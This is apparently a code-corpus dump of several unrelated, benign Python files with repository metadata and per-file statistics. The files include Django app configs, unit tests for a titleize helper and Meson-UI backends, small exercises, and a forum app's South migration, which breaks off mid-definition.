2021-04-13T19:19:03.000Z
albow/core/__init__.py
hasii2011/albow-python-3
04b9d42705b370b62f0e49d10274eebf3ac54bc1
[ "MIT" ]
null
null
null
""" This package contains the core Albow classes """
17.333333
44
0.730769
7
52
5.428571
1
0
0
0
0
0
0
0
0
0
0
0
0.153846
52
3
45
17.333333
0.863636
0.846154
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
4
b30913d646a70f841087baa245a60e90a223ea9a
82
py
Python
climt/_components/dcmip/__init__.py
Ai33L/climt
17fcdc43ec8ed9903dfb566bae99154f282ce85f
[ "BSD-3-Clause" ]
116
2017-02-12T01:45:50.000Z
2022-03-01T20:19:03.000Z
climt/_components/dcmip/__init__.py
Ai33L/climt
17fcdc43ec8ed9903dfb566bae99154f282ce85f
[ "BSD-3-Clause" ]
115
2017-07-23T21:19:15.000Z
2022-02-25T16:49:21.000Z
climt/_components/dcmip/__init__.py
Ai33L/climt
17fcdc43ec8ed9903dfb566bae99154f282ce85f
[ "BSD-3-Clause" ]
30
2017-05-24T11:52:12.000Z
2021-12-09T16:45:19.000Z
from .component import DcmipInitialConditions __all__ = (DcmipInitialConditions)
20.5
45
0.853659
6
82
11
0.833333
0
0
0
0
0
0
0
0
0
0
0
0.097561
82
3
46
27.333333
0.891892
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.5
0
0.5
0
1
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
4
b30ed4d2ac6cd0249d4544672622087fd40b3ddd
98
py
Python
HealthNet/appointments/apps.py
jimga150/HealthNet
84e55302b02221ae6e93640904af837fdfe09a83
[ "MIT" ]
null
null
null
HealthNet/appointments/apps.py
jimga150/HealthNet
84e55302b02221ae6e93640904af837fdfe09a83
[ "MIT" ]
null
null
null
HealthNet/appointments/apps.py
jimga150/HealthNet
84e55302b02221ae6e93640904af837fdfe09a83
[ "MIT" ]
null
null
null
from django.apps import AppConfig class ApointmentsConfig(AppConfig): name = 'appointments'
16.333333
35
0.77551
10
98
7.6
0.9
0
0
0
0
0
0
0
0
0
0
0
0.153061
98
5
36
19.6
0.915663
0
0
0
0
0
0.122449
0
0
0
0
0
0
1
0
false
0
0.333333
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
4
b343fd4b0b6485e497c070e6d4778219ee5b064e
134
py
Python
Aula09/ex00.py
danicon/Curso_Python
18fb4aad975bdc3b96cb5320331dbc7d3c3a459d
[ "MIT" ]
null
null
null
Aula09/ex00.py
danicon/Curso_Python
18fb4aad975bdc3b96cb5320331dbc7d3c3a459d
[ "MIT" ]
null
null
null
Aula09/ex00.py
danicon/Curso_Python
18fb4aad975bdc3b96cb5320331dbc7d3c3a459d
[ "MIT" ]
null
null
null
#Fatiamento oi = 'Curso em Vídeo Python' print(oi[3:14]) print(oi[9]) print(oi[0:21:2]) print(oi[:14]) print(oi[8:]) print(oi[8::3])
13.4
28
0.634328
28
134
3.035714
0.5
0.494118
0.211765
0
0
0
0
0
0
0
0
0.108333
0.104478
134
10
29
13.4
0.6
0.074627
0
0
0
0
0.169355
0
0
0
0
0
0
1
0
false
0
0
0
0
0.857143
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
4
2fb1f4ad419e0ace801e6bb5303147ea185065fc
130
py
Python
7KYU/formatted_string.py
yaznasivasai/python_codewars
25493591dde4649dc9c1ec3bece8191a3bed6818
[ "MIT" ]
4
2021-07-17T22:48:03.000Z
2022-03-25T14:10:58.000Z
7KYU/formatted_string.py
yaznasivasai/python_codewars
25493591dde4649dc9c1ec3bece8191a3bed6818
[ "MIT" ]
null
null
null
7KYU/formatted_string.py
yaznasivasai/python_codewars
25493591dde4649dc9c1ec3bece8191a3bed6818
[ "MIT" ]
3
2021-06-14T14:18:16.000Z
2022-03-16T06:02:02.000Z
def solution(c: int) -> str: """ This function returns a formatted string. """ return 'Value is ' + ('0000' + str(c))[-5:]
43.333333
53
0.576923
18
130
4.166667
0.888889
0
0
0
0
0
0
0
0
0
0
0.04902
0.215385
130
3
54
43.333333
0.686275
0.315385
0
0
0
0
0.158537
0
0
0
0
0
0
1
0.5
false
0
0
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
4
2fb2138a9d8548aa289993ad5458bccfc57afd3b
87
py
Python
crisis/apps.py
tonythomas01/quarantine_backend
dea1c8a4838954fca531ae9c1c7763fc1d1a4fd8
[ "MIT" ]
3
2020-05-20T14:07:57.000Z
2020-12-18T22:01:59.000Z
crisis/apps.py
tonythomas01/quarantine_backend
dea1c8a4838954fca531ae9c1c7763fc1d1a4fd8
[ "MIT" ]
22
2020-04-04T11:23:22.000Z
2021-12-13T20:37:18.000Z
crisis/apps.py
Quarantine-Help/quarantined_backend
3cab95d0716bb914f8005075674aa7bbdccfdae4
[ "MIT" ]
2
2020-04-04T15:02:57.000Z
2020-05-02T18:10:41.000Z
from django.apps import AppConfig class CrisisConfig(AppConfig): name = "crisis"
14.5
33
0.747126
10
87
6.5
0.9
0
0
0
0
0
0
0
0
0
0
0
0.172414
87
5
34
17.4
0.902778
0
0
0
0
0
0.068966
0
0
0
0
0
0
1
0
false
0
0.333333
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
4
2fdf83c151eba754e3c3f51fde965094ae62fde3
1,349
py
Python
sis_provisioner/test/dao/test_dao.py
uw-it-aca/canvas-sis-provisioner
28f54ce101704a8feaaea1e514618aba5a330a25
[ "Apache-2.0" ]
null
null
null
sis_provisioner/test/dao/test_dao.py
uw-it-aca/canvas-sis-provisioner
28f54ce101704a8feaaea1e514618aba5a330a25
[ "Apache-2.0" ]
451
2016-10-25T22:08:19.000Z
2022-03-23T20:27:52.000Z
sis_provisioner/test/dao/test_dao.py
uw-it-aca/canvas-sis-provisioner
28f54ce101704a8feaaea1e514618aba5a330a25
[ "Apache-2.0" ]
null
null
null
# Copyright 2021 UW-IT, University of Washington # SPDX-License-Identifier: Apache-2.0 from django.test import TestCase from sis_provisioner.dao import titleize class DaoTest(TestCase): def test_titleize(self): self.assertRaises(TypeError, titleize, None) self.assertEquals(titleize(123), '123') self.assertEquals(titleize(''), '') self.assertEquals(titleize('the'), 'The') self.assertEquals(titleize('THE'), 'The') self.assertEquals(titleize('the xml'), 'The XML') self.assertEquals(titleize('the xml'), 'The XML') self.assertEquals(titleize('the:xml'), 'The:XML') self.assertEquals(titleize('the-xml'), 'The-XML') self.assertEquals(titleize('the.xml'), 'The.XML') self.assertEquals(titleize('the&xml'), 'The&XML') self.assertEquals(titleize('the i'), 'The I') self.assertEquals(titleize('THE II'), 'The II') self.assertEquals(titleize('THE Iii'), 'The III') self.assertEquals(titleize('THE Iv'), 'The IV') self.assertEquals(titleize('the (now)'), 'The (Now)') self.assertEquals(titleize('joe\'s xml'), 'Joe\'s XML') self.assertEquals(titleize('xml/Xml'), 'XML/XML') self.assertEquals(titleize('the "xml"'), 'The "XML"') self.assertEquals(titleize('the "now"'), 'The "Now"')
44.966667
63
0.635285
161
1,349
5.310559
0.248447
0.355556
0.533333
0.473684
0.484211
0.484211
0.484211
0.431579
0.431579
0.361404
0
0.010979
0.18977
1,349
29
64
46.517241
0.771272
0.060786
0
0.083333
0
0
0.184335
0
0
0
0
0
0.833333
1
0.041667
false
0
0.083333
0
0.166667
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
4
2ff82f1de38a58966693b24826b180afd6e757dc
423
py
Python
backend/shops/types.py
singsaker/intern
9376732c6d537f46443ad43afa51e82df2005da8
[ "MIT" ]
4
2021-10-06T19:09:12.000Z
2022-03-28T12:14:42.000Z
backend/shops/types.py
singsaker/intern
9376732c6d537f46443ad43afa51e82df2005da8
[ "MIT" ]
2
2021-11-30T16:07:05.000Z
2022-02-17T23:57:00.000Z
backend/shops/types.py
singsaker/intern
9376732c6d537f46443ad43afa51e82df2005da8
[ "MIT" ]
null
null
null
from graphene_django import DjangoObjectType from .models import Product, ProductCategory, Sale, Shop class ShopType(DjangoObjectType): class Meta: model = Shop class ProductCategoryType(DjangoObjectType): class Meta: model = ProductCategory class ProductType(DjangoObjectType): class Meta: model = Product class SaleType(DjangoObjectType): class Meta: model = Sale
17.625
56
0.716312
40
423
7.55
0.425
0.278146
0.331126
0.397351
0
0
0
0
0
0
0
0
0.22695
423
23
57
18.391304
0.923547
0
0
0.285714
0
0
0
0
0
0
0
0
0
1
0
false
0
0.142857
0
0.714286
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
4
641db035d67f9d105c21d45c211a546df07ab991
6,740
py
Python
run_backend_tests.py
michaelbadcrumble/meson-ui
e2db2b87872d87c101001b87fe48c5172bb8d5ff
[ "Apache-2.0" ]
24
2019-10-14T21:17:27.000Z
2020-05-28T11:35:14.000Z
run_backend_tests.py
michaelbrockus/meson-ui
e2db2b87872d87c101001b87fe48c5172bb8d5ff
[ "Apache-2.0" ]
52
2019-11-30T18:35:25.000Z
2020-04-25T22:09:35.000Z
run_backend_tests.py
michaelbadcrumble/meson-ui
e2db2b87872d87c101001b87fe48c5172bb8d5ff
[ "Apache-2.0" ]
2
2019-10-15T01:11:18.000Z
2019-11-03T06:36:08.000Z
#!/usr/bin/env python3 # # author : Michael Brockus.   # contact: <mailto:michaelbrockus@gmail.com> # license: Apache 2.0 :http://www.apache.org/licenses/LICENSE-2.0 # # copyright 2020 The Meson-UI development team # import pytest from mesonui.mesonuilib.utilitylib import OSUtility from mesonui.mesonuilib.buildsystem import Meson from mesonui.mesonuilib.backends.codeblocks import CodeBlocksBackend from mesonui.mesonuilib.backends.qtcreator import QtCreatorBackend from mesonui.mesonuilib.backends.kdevelop import KDevelopBackend from mesonui.mesonuilib.backends.gnome import GNOMEBuilderBackend from mesonui.repository.mesonapi import MesonAPI from os.path import join as join_paths from pathlib import Path import os class TestMesonBackend: def test_kdevelop_backend(self): # # Setting up tmp test directory source = Path(join_paths('test-cases', 'backends', '01-kdevelop')).resolve() build = Path(join_paths('test-cases', 'backends', '01-kdevelop', 'builddir')).resolve() # # Running Meson command meson: Meson = Meson(sourcedir=source, builddir=build) meson.setup(['--backend=ninja']) api = MesonAPI(sourcedir=source, builddir=build) ide = KDevelopBackend(api) ide.generator() # # Run asserts to check it is working assert os.path.exists(join_paths(source, 'meson.build')) assert os.path.exists(join_paths(build, 'build.ninja')) assert os.path.exists(join_paths(build, 'meson-info', 'intro-projectinfo.json')) assert os.path.exists(join_paths(build, 'compile_commands.json')) assert os.path.exists(join_paths(build, 'basic.kdev4')) def test_codeblocks_backend(self): # # Setting up tmp test directory source = Path(join_paths('test-cases', 'backends', '02-codeblocks')).resolve() build = Path(join_paths('test-cases', 'backends', '02-codeblocks', 'builddir')).resolve() # # Running Meson command meson: Meson = Meson(sourcedir=source, builddir=build) meson.setup(['--backend=ninja']) api = MesonAPI(sourcedir=source, builddir=build) ide = CodeBlocksBackend(api) ide.generator() # # Run asserts to check it is working assert os.path.exists(join_paths(source, 'meson.build')) assert os.path.exists(join_paths(build, 'build.ninja')) assert os.path.exists(join_paths(build, 'meson-info', 'intro-projectinfo.json')) assert os.path.exists(join_paths(build, 'compile_commands.json')) assert os.path.exists(join_paths(build, 'basic.cbp')) def test_qtcreator_backend(self): # # Setting up tmp test directory source = Path(join_paths('test-cases', 'backends', '03-qtcreator')) build = Path(join_paths('test-cases', 'backends', '03-qtcreator', 'builddir')) # # Running Meson command meson: Meson = Meson(sourcedir=source, builddir=build) meson.setup() api = MesonAPI(sourcedir=source, builddir=build) ide = QtCreatorBackend(api) ide.generator() # # Run asserts to check it is working assert os.path.exists(join_paths(source, 'meson.build')) assert os.path.exists(join_paths(build, 'build.ninja')) assert os.path.exists(join_paths(build, 'meson-info', 'intro-projectinfo.json')) assert os.path.exists(join_paths(build, 'compile_commands.json')) assert os.path.exists(join_paths(build, 'basic.creator')) assert os.path.exists(join_paths(build, 'basic.includes')) assert os.path.exists(join_paths(build, 'basic.files')) def test_gnome_builder_backend(self): # # Setting up tmp test directory source = Path(join_paths('test-cases', 'backends', '04-gnome')).resolve() build = Path(join_paths('test-cases', 'backends', '04-gnome', 'builddir')).resolve() # # Running Meson command meson: Meson = Meson(sourcedir=source, builddir=build) meson.setup(['--backend=ninja']) api = MesonAPI(sourcedir=source, builddir=build) ide = GNOMEBuilderBackend(api) ide.generator() # # Run asserts to check it is working assert os.path.exists(join_paths(source, 'meson.build')) assert os.path.exists(join_paths(build, 'build.ninja')) assert os.path.exists(join_paths(build, 'compile_commands.json')) def test_ninja_backend(self, tmpdir): # # Setting up tmp test directory with tmpdir.as_cwd(): pass tmpdir.chdir() # # Running Meson command meson: Meson = Meson(sourcedir=tmpdir, builddir=(tmpdir / 'builddir')) meson.init(['--language=c']) meson.setup(['--backend=ninja']) # # Run asserts to check it is working assert tmpdir.join('meson.build').ensure() assert tmpdir.join('builddir', 'build.ninja').ensure() assert tmpdir.join('builddir', 'compile_commands.json').ensure() @pytest.mark.skipif(not OSUtility.is_osx(), reason='Skipping because Xcode backend only works on OSX systems') def test_xcode_backend(self, tmpdir): # # Setting up tmp test directory with tmpdir.as_cwd(): pass tmpdir.chdir() # # Running Meson command meson: Meson = Meson(sourcedir=tmpdir, builddir=(tmpdir / 'builddir')) meson.init(['--language=c', '--type=executable']) meson.setup(['--backend=xcode']) meson.compile() meson.test() # # Run asserts to check it is working assert tmpdir.join('meson.build').ensure() assert tmpdir.join('builddir', 'build.ninja').ensure() assert tmpdir.join('builddir', 'compile_commands.json').ensure() assert tmpdir.join('builddir', 'test-prog.xcodeproj', 'project.pbxproj').ensure() @pytest.mark.skipif(not OSUtility.is_windows(), reason='Skipping because Visual Studio backend only works on Windows') def test_vs_backend(self, tmpdir): # # Setting up tmp test directory with tmpdir.as_cwd(): pass tmpdir.chdir() # # Running Meson command meson: Meson = Meson(sourcedir=tmpdir, builddir=(tmpdir / 'builddir')) meson.init(['--language=c']) meson.setup(['--backend=vs']) # # Run asserts to check it is working assert tmpdir.join('meson.build').ensure() assert tmpdir.join('builddir', 'build.ninja').ensure() assert tmpdir.join('builddir', 'compile_commands.json').ensure() #TestMesonBackend().test_codeblocks_backend()
36.630435
122
0.643917
786
6,740
5.447837
0.167939
0.060953
0.056049
0.084073
0.748248
0.742644
0.742644
0.716254
0.643858
0.643858
0
0.004992
0.2273
6,740
183
123
36.830601
0.817204
0.126706
0
0.545455
0
0
0.186632
0.036504
0
0
0
0
0.30303
1
0.070707
false
0.030303
0.111111
0
0.191919
0
0
0
0
null
0
0
0
0
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4
6433ba35830bc926a995a9ec40c3e75d67a8245d
319
py
Python
tests/test_examples.py
edublancas/python-ds-tools
1da2337961db9c50562349c28c9115d3a7cc6c0c
[ "MIT" ]
1
2021-11-02T05:48:00.000Z
2021-11-02T05:48:00.000Z
tests/test_examples.py
edublancas/python-ds-tools
1da2337961db9c50562349c28c9115d3a7cc6c0c
[ "MIT" ]
8
2016-05-25T01:50:14.000Z
2021-03-03T14:52:36.000Z
tests/test_examples.py
edublancas/dstools
1da2337961db9c50562349c28c9115d3a7cc6c0c
[ "MIT" ]
null
null
null
""" Runs examples form examples/ """ import subprocess def test_pipeline_runs(tmp_intermediate_example_directory): assert subprocess.call(['python', 'pipeline.py']) == 0 def test_partitioned_execution_runs(tmp_example_pipeline_directory): assert subprocess.call(['python', 'partitioned_execution.py']) == 0
24.538462
71
0.77116
38
319
6.157895
0.5
0.059829
0.213675
0.247863
0.299145
0
0
0
0
0
0
0.007018
0.106583
319
12
72
26.583333
0.814035
0.087774
0
0
0
0
0.166078
0.084806
0
0
0
0
0.4
1
0.4
false
0
0.2
0
0.6
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
4
ff2f7df25ae8e1c5d1d6ed42a2c67c14c78e989e
265
py
Python
py/lvmspec/scripts/__init__.py
sdss/lvmspec
befd6991537c4947fdf63ca262937f2bb845148f
[ "BSD-3-Clause" ]
null
null
null
py/lvmspec/scripts/__init__.py
sdss/lvmspec
befd6991537c4947fdf63ca262937f2bb845148f
[ "BSD-3-Clause" ]
null
null
null
py/lvmspec/scripts/__init__.py
sdss/lvmspec
befd6991537c4947fdf63ca262937f2bb845148f
[ "BSD-3-Clause" ]
null
null
null
# # See top-level LICENSE.rst file for Copyright information # # -*- coding: utf-8 -*- """ lvmspec.scripts ==================== Main functions and commandline parsing. """ # help with 2to3 support from __future__ import absolute_import, division, print_function
17.666667
64
0.686792
31
265
5.677419
0.967742
0
0
0
0
0
0
0
0
0
0
0.013216
0.143396
265
14
65
18.928571
0.762115
0.679245
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
1
0
4
ff344a7ebcdb82b6dc5db28d4d93c12ae1b48ae9
29
py
Python
src/qcompress/_version.py
vtekur/QuantumNoiseModelSimLib
0a1405013fcb2e94f96d0792279e59a22b830ff5
[ "Apache-2.0" ]
32
2018-07-03T14:06:45.000Z
2022-03-09T17:28:10.000Z
src/qcompress/_version.py
vtekur/QuantumNoiseModelSimLib
0a1405013fcb2e94f96d0792279e59a22b830ff5
[ "Apache-2.0" ]
3
2019-09-09T06:45:35.000Z
2022-03-02T11:09:51.000Z
src/qcompress/_version.py
vtekur/QuantumNoiseModelSimLib
0a1405013fcb2e94f96d0792279e59a22b830ff5
[ "Apache-2.0" ]
9
2018-07-13T22:20:37.000Z
2022-01-13T18:43:42.000Z
__version__ = "0.0.1.dev12"
9.666667
27
0.655172
5
29
3
0.8
0
0
0
0
0
0
0
0
0
0
0.2
0.137931
29
2
28
14.5
0.4
0
0
0
0
0
0.392857
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4
ff82b9cc81cf398917f8a4d986c482fc4cdcb05c
163
py
Python
client/config.py
zylotech-inc/libpostal-rest
016919e4e93a66d39476ac2e7bab9dca09d752dc
[ "MIT" ]
null
null
null
client/config.py
zylotech-inc/libpostal-rest
016919e4e93a66d39476ac2e7bab9dca09d752dc
[ "MIT" ]
null
null
null
client/config.py
zylotech-inc/libpostal-rest
016919e4e93a66d39476ac2e7bab9dca09d752dc
[ "MIT" ]
null
null
null
JOB_LEVEL_API_ENDPOINT_DEV = "https://cdp-dev.zylolabs.com/libpostal/multi-parser" JOB_LEVEL_API_ENDPOINT_PROD = "https://cdp.zylolabs.com/libpostal/multi-parser"
54.333333
82
0.822086
25
163
5.04
0.52
0.126984
0.174603
0.301587
0.492063
0
0
0
0
0
0
0
0.03681
163
2
83
81.5
0.802548
0
0
0
0
0
0.601227
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4
ff947409a5f52b73387ebbb9bf5777cb1a3e0fe7
2,283
py
Python
pages/tests.py
miguel-osuna/Bookstore-App
2f54e3f025b241eb562f9e20c3957d3a323fa0fb
[ "MIT" ]
null
null
null
pages/tests.py
miguel-osuna/Bookstore-App
2f54e3f025b241eb562f9e20c3957d3a323fa0fb
[ "MIT" ]
9
2021-03-19T10:45:42.000Z
2022-03-12T00:36:32.000Z
pages/tests.py
miguel-osuna/Bookstore-App
2f54e3f025b241eb562f9e20c3957d3a323fa0fb
[ "MIT" ]
null
null
null
from django.test import SimpleTestCase from django.urls import reverse, resolve from .views import HomePageView, AboutPageView # Create your tests here. class HomePageTests(SimpleTestCase): def setUp(self): url = reverse("home") self.response = self.client.get(url) def test_homepage_status_code(self): """The page exists and returns a HTTP 200 status code.""" self.assertEqual(self.response.status_code, 200) def test_homepage_template(self): """The proper template is being used by the view.""" self.assertTemplateUsed(self.response, "home.html") def test_homepage_contains_correct_html(self): """Checks if the homepage view has the correct html.""" self.assertContains(self.response, "Homepage") def test_homepage_does_not_contain_incorrect_html(self): """Checks if the homepage contains does not containt the incorrect html.""" self.assertNotContains(self.response, "Hi, I should not be on the page") def test_homepage_view(self): """Checks if it's the same view.""" view = resolve("/") self.assertEqual(view.func.__name__, HomePageView.as_view().__name__) # Create your tests here. class AboutPageTests(SimpleTestCase): def setUp(self): url = reverse("about") self.response = self.client.get(url) def test_aboutpage_status_code(self): """The page exists and returns a HTTP 200 status code.""" self.assertEqual(self.response.status_code, 200) def test_aboutpage_template(self): """The proper template is being used by the view.""" self.assertTemplateUsed(self.response, "about.html") def test_aboutpage_contains_correct_html(self): """Checks if the aboutpage view has the correct html.""" self.assertContains(self.response, "About Page") def test_aboutpage_does_not_contain_incorrect_html(self): """Checks if the aboutpage contains does not containt the incorrect html.""" self.assertNotContains(self.response, "Hi, I should not be on the page") def test_aboutpage_view(self): """Checks if it's the same view.""" view = resolve("about/") self.assertEqual(view.func.__name__, HomePageView.as_view().__name__)
37.42623
84
0.692948
294
2,283
5.197279
0.244898
0.078534
0.04712
0.041885
0.806283
0.774869
0.705497
0.660995
0.615183
0.429319
0
0.006604
0.204117
2,283
60
85
38.05
0.834342
0.240035
0
0.30303
0
0
0.06833
0
0
0
0
0
0.30303
1
0.363636
false
0
0.090909
0
0.515152
0
0
0
0
null
0
0
0
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
4
ff997f31789ec9f26d2d7e320961f2b43a3562f8
9,556
py
Python
forum/migrations/0001_initial.py
emencia/emencia-django-forum
cda74ed7e5822675c340ee5ec71548d981bccd3b
[ "MIT" ]
null
null
null
forum/migrations/0001_initial.py
emencia/emencia-django-forum
cda74ed7e5822675c340ee5ec71548d981bccd3b
[ "MIT" ]
3
2015-01-06T20:39:49.000Z
2015-05-04T01:26:36.000Z
forum/migrations/0001_initial.py
emencia/emencia-django-forum
cda74ed7e5822675c340ee5ec71548d981bccd3b
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- from south.utils import datetime_utils as datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Adding model 'Category' db.create_table(u'forum_category', ( (u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('created', self.gf('django.db.models.fields.DateTimeField')(auto_now_add=True, blank=True)), ('slug', self.gf('django.db.models.fields.SlugField')(unique=True, max_length=50)), ('order', self.gf('django.db.models.fields.SmallIntegerField')()), ('title', self.gf('django.db.models.fields.CharField')(unique=True, max_length=255)), ('description', self.gf('django.db.models.fields.TextField')(blank=True)), ('visible', self.gf('django.db.models.fields.BooleanField')(default=True)), )) db.send_create_signal(u'forum', ['Category']) # Adding model 'Thread' db.create_table(u'forum_thread', ( (u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('created', self.gf('django.db.models.fields.DateTimeField')(null=True, blank=True)), ('modified', self.gf('django.db.models.fields.DateTimeField')(null=True, blank=True)), ('author', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['auth.User'])), ('category', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['forum.Category'])), ('subject', self.gf('django.db.models.fields.CharField')(max_length=150)), ('closed', self.gf('django.db.models.fields.BooleanField')(default=False)), ('sticky', self.gf('django.db.models.fields.BooleanField')(default=False)), ('announce', self.gf('django.db.models.fields.BooleanField')(default=False)), ('visible', self.gf('django.db.models.fields.BooleanField')(default=True)), )) db.send_create_signal(u'forum', ['Thread']) # Adding model 'ThreadWatch' db.create_table(u'forum_threadwatch', ( (u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('owner', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['auth.User'])), ('thread', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['forum.Thread'])), )) db.send_create_signal(u'forum', ['ThreadWatch']) # Adding model 'Post' db.create_table(u'forum_post', ( (u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('author', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['auth.User'])), ('thread', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['forum.Thread'])), ('created', self.gf('django.db.models.fields.DateTimeField')(null=True, blank=True)), ('modified', self.gf('django.db.models.fields.DateTimeField')(null=True, blank=True)), ('text', self.gf('django.db.models.fields.TextField')()), )) db.send_create_signal(u'forum', ['Post']) def backwards(self, orm): # Deleting model 'Category' db.delete_table(u'forum_category') # Deleting model 'Thread' db.delete_table(u'forum_thread') # Deleting model 'ThreadWatch' db.delete_table(u'forum_threadwatch') # Deleting model 'Post' db.delete_table(u'forum_post') models = { u'auth.group': { 'Meta': {'object_name': 'Group'}, u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}), 'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}) }, u'auth.permission': { 'Meta': {'ordering': "(u'content_type__app_label', u'content_type__model', u'codename')", 'unique_together': "((u'content_type', u'codename'),)", 'object_name': 'Permission'}, 'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['contenttypes.ContentType']"}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '50'}) }, u'auth.user': { 'Meta': {'object_name': 'User'}, 'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}), 'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}), 'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['auth.Group']", 'symmetrical': 'False', 'blank': 'True'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}), 'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}), 'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}), 'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'}) }, u'contenttypes.contenttype': { 'Meta': {'ordering': "('name',)", 'unique_together': "(('app_label', 'model'),)", 'object_name': 'ContentType', 'db_table': "'django_content_type'"}, 'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}) }, u'forum.category': { 'Meta': {'object_name': 'Category'}, 'created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), 'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'order': ('django.db.models.fields.SmallIntegerField', [], {}), 'slug': ('django.db.models.fields.SlugField', [], {'unique': 'True', 'max_length': '50'}), 'title': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '255'}), 'visible': ('django.db.models.fields.BooleanField', [], {'default': 'True'}) }, u'forum.post': { 'Meta': {'object_name': 'Post'}, 'author': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['auth.User']"}), 'created': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'modified': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}), 'text': ('django.db.models.fields.TextField', [], {}), 'thread': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['forum.Thread']"}) }, u'forum.thread': { 'Meta': {'object_name': 'Thread'}, 'announce': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'author': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['auth.User']"}), 'category': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['forum.Category']"}), 'closed': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'created': 